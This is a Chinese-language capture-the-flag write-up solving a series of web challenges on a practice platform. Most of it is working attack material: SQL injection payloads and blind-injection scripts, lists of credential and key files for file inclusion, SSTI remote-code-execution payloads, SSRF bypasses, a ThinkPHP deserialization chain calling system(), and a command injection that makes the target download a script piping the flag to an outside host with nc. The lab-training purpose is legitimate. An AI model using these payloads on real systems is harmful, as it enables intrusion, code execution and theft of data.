常见的搜集 目录扫描发现robots.txt,index.php~,index.php.swp 分别发现
1 2 3 flag1:n1book{info_1 flag2:s_v3ry_im flag3:p0rtant_hack}
线程一定要调低一些,不然直接干宕机了
粗心的小李 1 python .\GitHack.py -u "http://c2d396b5-d801-49a1-be14-d1523302ec9c.node5.buuoj.cn:81/.git/"
SQL注入-1 简单的字符型注入
1 2 3 ?id= 1 and1= 2 ?id= 1 ’and ’1 ’= '1--+,回显正常 ?id=1’and’1’=' 2
手工注入:
1 2 3 4 5 6 查表名 1 ' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 limit 1,1 --+ 查列名 1' union select 1 ,(select group_concat(column_name) from information_schema.columns where table_name= 'fl4g' ),3 limit 1 ,1 % 23 查数据 1 ' union select 1,(select fllllag from fl4g),3 limit 1,1%23
当然也可以直接sqlmap梭一下
1 python .\sqlmap.py -u "http://7138a712-41af-4338-bf3e-acaab24aa4dd.node5.buuoj.cn:81/index.php?id=1" -D note -T fl4g --dump --batch
SQL注入-2 这里有三种方法,预期解应该是报错注入,但是时间盲注和布尔盲注也都能解决
报错注入
这里有提示,就可以回显报错了,如果没有这个,就只能盲注了
1 2 3 4 5 6 查表名 name= 123 ' or updatexml(1, concat(0x7e,(selECt group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),3)%23&pass=1 查列名 name=123' or updatexml(1 , concat(0x7e ,(selECt group_concat(column_name) from information_schema.columns where table_name= 'fl4g' ),0x7e ),3 )% 23 & pass= 1 查数据 name= 1 ' and updatexml(1,concat(0x7e,(selECT flag from note.fl4g),0x7e),1)#&pass=1
布尔盲注
根据这个报错信息,就可以用于判断账号的某一位是否正确,比如我们可以借助substr看一下库名第一位
1 name=1' or substr(database(),1,1)='a'#&pass=1
那么第一位就是n,这里可以借助脚本实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import requestsimport timel = 'qwertyuiopasdfghjklzxcvbnm-=+_,.1234567890}{' url = 'http://f9682b0d-65a9-4faf-9281-e3bd2e80fb34.node5.buuoj.cn:81/login.php' sql = "=1' or substr((seLEct flag from fl4g),%d,1)='%s'#" flag = "" for num in range (1 ,28 ): for i in l: data = { 'name' : sql %(num,i), 'pass' : 'asdasd' } r = requests.post(url = url , data=data) time.sleep(0.05 ) if r"\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef" in r.text: flag += i print ("flag:" , flag) break print ("flag:" , flag)
时间盲注 和布尔盲注类似,只是这里不跟据回显判断,根据时间判断,自己来创造条件
1 name=1 '+or+if(substr(database(),1,1)=' n',sleep(1),1)#&pass=1
同样可以上脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import requestsimport timel = 'qwertyuiopasdfghjklzxcvbnm-=+_,.1234567890}{' url = 'http://78e36ec4-b8e5-4239-ac2d-683f7742d342.node3.buuoj.cn/login.php' sql = "1' or if(substr((seLEct flag from fl4g),%d,1)='%s',sleep(2),1)#" flag = '' for num in range (1 ,27 ): for i in l: data = { 'name' : sql %(num,i), 'pass' : 'asdasd' } t = int (time.time()) r = requests.post(url = url , data=data) if int (time.time()) - t > 2 : flag += i print ("flag:" , flag) break print ("flag:" , flag)
afr_1 借助filter协议读取
1 ?p=php://filter/convert.base64-encode/resource=flag
甚至hackbar也能直接生成payload
afr_2 添加..实现目录穿越,但是这里必须是/img../
构造payload
afr_3 1 /article?name=../../../../../etc/passwd
位置存在文件包含,我们尝试包含一下flag,失败了,尝试各种绕过方法也没用,看来不单单是个文件包含,fuzz一下文件系统
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 # Windows boot.ini Windows\System32\inetsrv\MetaBase.xml Windows\repair\sam Program Files\mysql\my.ini Program Files\mysql\data\mysql\user.MYD Windows\php.ini ..\..\..\..\..\..\..\..\..\..\Windows\my.ini # Linux /root/.ssh/authorized_keys /root/.ssh/id_rsa /root/.ssh/id_rsa.keystore /root/.ssh/known_hosts /etc/passwd /etc/shadow /etc/my.cnf /etc/httpd/conf/httpd.conf /root/.bash_history /root/.mysql_history /proc/self/fd/fd[0-9]* /proc/mounts /proc/config.gz /proc/self/cmdline /proc/sched_debug # 提供cpu上正在运行的进程信息,可以获得进程的pid号,可以配合后面需要pid的利用 /proc/mounts # 挂载的文件系统列表 /proc/net/arp # arp表,可以获得内网其他机器的地址 /proc/net/route # 路由表信息 /proc/net/tcp and /proc/net/udp # 活动连接的信息 /proc/net/fib_trie # 路由缓存 /proc/version # 内核版本 /proc/[PID]/cmdline # 可能包含有用的路径信息 /proc/[PID]/environ # 程序运行的环境变量信息,可以用来包含getshell /proc/[PID]/cwd # 当前进程的工作目录 proc/[PID]/fd/[# ]
发现server.py,直接读也失败了,可以通过当前进程的工作目录来读取
1 /article?name=../../../proc/self/cwd/server.py
发现flag.py和key.py,flag读取失败,我们读一下key
拿到key,且存在ssti危险函数,且username为n1code,这里借助flask-session-cookie-manager生成一个session
1 2 3 4 python flask_session_cookie_manager3.py encode \-s Drmhze6EPcv0fN_81Bj-nA \-t "$(cat payload.json)" payload.json: {"n1code" : "{{x.__init__.__globals__['__builtins__']['eval'](\"__import__('os').popen('cat flag.py').read()\")}}" } python .\flask_session_cookie_manager3.py encode -s "Drmhze6EPcv0fN_81Bj-nA" -t "{'n1code': '{{x.__init__.__globals__[\'__builtins__\'].open(\'flag.py\', \'r\').read()}}'}"
这里的ssti_payload在shell中会出现各种符号报错,所以我们直接借助json文件在kali执行会更方便一些,这里提供俩payload
然后构造session即可获取flag
这里复习一下ssti常用payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 1 、任意命令执行{%for i in '' .__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close' %}{%print i.__init__.__globals__['popen' ]('dir' ).read()%}{%endif%}{%endfor%} 2 、任意命令执行{{"" .__class__.__bases__[0 ]. __subclasses__()[138 ].__init__.__globals__['popen' ]('cat /flag' ).read()}} //这个138 对应的类是os._wrap_close,只需要找到这个类的索引就可以利用这个payload 3 、任意命令执行{{url_for.__globals__['__builtins__' ]['eval' ]("__import__('os').popen('dir').read()" )}} 4 、任意命令执行{{x.__init__.__globals__['__builtins__' ]['eval' ]("__import__('os').popen('cat flag').read()" )}} //x的含义是可以为任意字母,不仅仅限于x 5 、任意命令执行{{config.__init__.__globals__['__builtins__' ]['eval' ]("__import__('os').popen('cat flag').read()" )}} 6 、文件读取{{x.__init__.__globals__['__builtins__' ].open ('/flag' , 'r' ).read()}} //x的含义是可以为任意字母,不仅仅限于x {{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}
SSRF Training 比较简单,这里提供几个payload,可以都试试
1 2 3 4 5 6 十进制整数:http://2130706433 十六进制:http://0x7f000001 或 http://0x7f.0.0.1 八进制:http://0177.0.0.1 或 http://0177.00.00.01 http://127.1 http://0.0.0.0 http://127.0.0.1
当然也可以ssrfmap
1 2 3 4 5 6 # 1端口扫描 python ssrfmap.py -r post.txt -p 参数 -m portscan # 2读取文件 python ssrfmap.py -r post.txt -p url -m readfiles --rfiles /etc/passwd # 3利用 Redis RCE python ssrfmap.py -r post.txt -p url -m redis --lhost 127.0.0.1 --lport 6379 -l 6379
死亡ping命令 1 ; | &都被过滤了,但是回车还可以使用,url编码:%0a
这里没有回显,可以弹一下shell,反弹shell命令被ban了,这里可以通过我们的服务器,远程写入一个反弹命令
在我们本地80端口起一个服务,网站目录下写入1.sh
1 2 ls cat /F* | nc 10.88.14.213 6666
然后用python起一个http服务
1 python -m http.server 80
让靶机来访问我们的sh文件,并且存到本地
1 ip=127.0.0.1%0acurl 10.88.14.213/1.sh > /tmp/7.sh
加一个执行权限
1 127.0.0.1%0achmod 777 /tmp/8.sh
1 127.0.0.1%0ash /tmp/8.sh
执行,成功回弹flag
XSS闯关 L1常规题目,直接<script>alert(1)</script>结束战斗或者<img src="x" onerror="alert(1)">
L2闭合标签'</script><img src="x" onerror="alert(1)">
L3依旧闭合标签'</script><img src="x" onerror="alert(1)">
L4,分析一下源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 var time = 10 ; var jumpUrl; if (getQueryVariable ('jumpUrl' ) == false ){ jumpUrl = location.href ; }else { jumpUrl = getQueryVariable ('jumpUrl' ); } setTimeout (jump,1000 ,time); function jump (time ){ if (time == 0 ){ location.href = jumpUrl; }else { time = time - 1 ; document .getElementById ('ccc' ).innerHTML = `页面${time} 秒后将会重定向到${escape (jumpUrl)} ` ; setTimeout (jump,1000 ,time); } } function getQueryVariable (variable ){ var query = window .location .search .substring (1 ); var vars = query.split ("&" ); for (var i=0 ;i<vars.length ;i++) { var pair = vars[i].split ("=" ); if (pair[0 ] == variable){return pair[1 ];} } return (false ); }
我们可以借助jumpUrl传入JavaScript代码
L5,无论写入什么都没用,我们看一下源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 if (getQueryVariable ('autosubmit' ) !== false ){ var autoForm = document .getElementById ('autoForm' ); autoForm.action = (getQueryVariable ('action' ) == false ) ? location.href : getQueryVariable ('action' ); autoForm.submit (); }else { } function getQueryVariable (variable ) { var query = window .location .search .substring (1 ); var vars = query.split ("&" ); for (var i=0 ;i<vars.length ;i++) { var pair = vars[i].split ("=" ); if (pair[0 ] == variable){return pair[1 ];} } return (false ); }
我们发现代码中定义了两个变量,所以我们直需要绕过这两个变量即可
1 ?autosubmit=0&action=JavaScript:alert(1)
L6AngularJS客户端模板注入 我在这里写过https://charmersix.github.io/2022/05/12/AngularJS%20xss/但是图床好像挂了
1 {{'a' .constructor .prototype .charAt =[].join ;$eval('x=1} } };alert(1)//' );}}
文件上传 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 <?php header("Content-Type:text/html; charset=utf-8"); // 每5分钟会清除一次目录下上传的文件 require_once('pclzip.lib.php'); if(!$_FILES){ echo ' <!DOCTYPE html> <html lang="zh"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <meta http-equiv="X-UA-Compatible" content="ie=edge" /> <title>文件上传章节练习题</title> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@3.3.7/dist/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous"> <style type="text/css"> .login-box{ margin-top: 100px; height: 500px; border: 1px solid #000; } body{ background: white; } .btn1{ width: 200px; } .d1{ display: block; height: 400px; } </style> </head> <body> <div class="container"> <div class="login-box col-md-12"> <form class="form-horizontal" method="post" enctype="multipart/form-data" > <h1>文件上传章节练习题</h1> <hr /> <div class="form-group"> <label class="col-sm-2 control-label">选择文件:</label> <div class="input-group col-sm-10"> <div > <label for=""> <input type="file" name="file" /> </label> </div> </div> </div> <div class="col-sm-8 text-right"> <input type="submit" class="btn btn-success text-right btn1" /> </div> </form> </div> </div> </body> </html> '; show_source(__FILE__); }else{ $file = $_FILES['file']; if(!$file){ exit("请勿上传空文件"); } $name = $file['name']; $dir = 'upload/'; $ext = strtolower(substr(strrchr($name, '.'), 1)); $path = $dir.$name; function check_dir($dir){ $handle = opendir($dir); while(($f = readdir($handle)) !== false){ if(!in_array($f, array('.', '..'))){ if(is_dir($dir.$f)){ check_dir($dir.$f.'/'); }else{ $ext = strtolower(substr(strrchr($f, '.'), 1)); if(!in_array($ext, array('jpg', 'gif', 'png'))){ unlink($dir.$f); } } } } } if(!is_dir($dir)){ mkdir($dir); } $temp_dir = $dir.md5(time(). rand(1000,9999)); if(!is_dir($temp_dir)){ mkdir($temp_dir); } if(in_array($ext, array('zip', 'jpg', 'gif', 'png'))){ if($ext == 'zip'){ $archive = new PclZip($file['tmp_name']); foreach($archive->listContent() as $value){ $filename = $value["filename"]; if(preg_match('/\.php$/', $filename)){ exit("压缩包内不允许含有php文件!"); } } if ($archive->extract(PCLZIP_OPT_PATH, $temp_dir, PCLZIP_OPT_REPLACE_NEWER) == 0) { check_dir($dir); exit("解压失败"); } check_dir($dir); exit('上传成功!'); }else{ move_uploaded_file($file['tmp_name'], $temp_dir.'/'.$file['name']); check_dir($dir); exit('上传成功!'); } }else{ exit('仅允许上传zip、jpg、gif、png文件!'); } }
代码分为3个功能
1.将上传的文件保存在upload路径下,同时检查压缩包内的文件名是否有带有.或者..的,并且检查文件是否是jpg,gif,png直接上传的'jpg', 'gif', 'png文件是没有这个待遇的,会被放入一个tmp路径,tmp路径是随机的md5值,从1000到9999
但是,斜杠是没法正常命名的,我们可以借助010editor来改名字
apache服务器,有文件解析漏洞,如果遇到无法解析的后缀名会向前解析,比如1.php.xxx就可以解析成1.php
然后计算好起的名字的长度,例如../../1.php.xxx这个名字就是15位的,给这个还没有压缩的马起个占15字符的名字,例如123456789123456
上传成功,直接访问,可以拿到flag
thinkphp反序列化利用链 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 <?php namespace think ;abstract class Model { protected $append = []; private $data = []; function __construct ( ) { $this ->append = ["ethan" =>["cat ../../../../F*" ,"cat ../../../../F*" ]]; $this ->data = ["ethan" =>new Request ()]; } } class Request { protected $hook = []; protected $filter = "system" ; protected $config = [ 'var_method' => '_method' , 'var_ajax' => '_ajax' , 'var_pjax' => '_pjax' , 'var_pathinfo' => 's' , 'pathinfo_fetch' => ['ORIG_PATH_INFO' , 'REDIRECT_PATH_INFO' , 'REDIRECT_URL' ], 'default_filter' => '' , 'url_domain_root' => '' , 'https_agent_name' => '' , 'http_agent_ip' => 'HTTP_X_REAL_IP' , 'url_html_suffix' => 'html' , ]; function __construct ( ) { $this ->filter = "system" ; $this ->config = ["var_ajax" =>'' ]; $this ->hook = ["visible" =>[$this ,"isAjax" ]]; } } namespace think \process \pipes ;use think \model \concern \Conversion ;use think \model \Pivot ;class Windows { private $files = []; public function __construct ( ) { $this ->files=[new Pivot ()]; } } namespace think \model ;use think \Model ;class Pivot extends Model {} use think \process \pipes \Windows ;echo urlencode (serialize (new Windows ()));?>
Python里的SSRF 常规题,题目给了路径和端口就比较简单了
1 2 http://127.0.0.2 http://0.0.0.0
SSTI 这里提示password,我们直接传参4,回显得4,说明存在ssti,直接拿我上面分享的payload打就可以
这里再次复习一下ssti常用payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 1 、任意命令执行{%for i in '' .__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close' %}{%print i.__init__.__globals__['popen' ]('dir' ).read()%}{%endif%}{%endfor%} 2 、任意命令执行{{"" .__class__.__bases__[0 ]. __subclasses__()[138 ].__init__.__globals__['popen' ]('cat /flag' ).read()}} //这个138 对应的类是os._wrap_close,只需要找到这个类的索引就可以利用这个payload 3 、任意命令执行{{url_for.__globals__['__builtins__' ]['eval' ]("__import__('os').popen('dir').read()" )}} 4 、任意命令执行{{x.__init__.__globals__['__builtins__' ]['eval' ]("__import__('os').popen('cat flag').read()" )}} //x的含义是可以为任意字母,不仅仅限于x 5 、任意命令执行{{config.__init__.__globals__['__builtins__' ]['eval' ]("__import__('os').popen('cat flag').read()" )}} 6 、文件读取{{x.__init__.__globals__['__builtins__' ].open ('/flag' , 'r' ).read()}} //x的含义是可以为任意字母,不仅仅限于x {{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}
1 ?password={{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat app/server.py').read()")}}
当然,也可以TPLmap
1 python .\tplmap.py -u "http://93df25c2-1128-461c-b188-92cd6f431a61.node5.buuoj.cn:81/?password=" --os-shell
逻辑漏洞 直接提交就能登录进去,真正的任意用户密码登录
买niceday我们能发现可以成功购买,那么我们直接改成-2000
这样我们就可以正常买flag了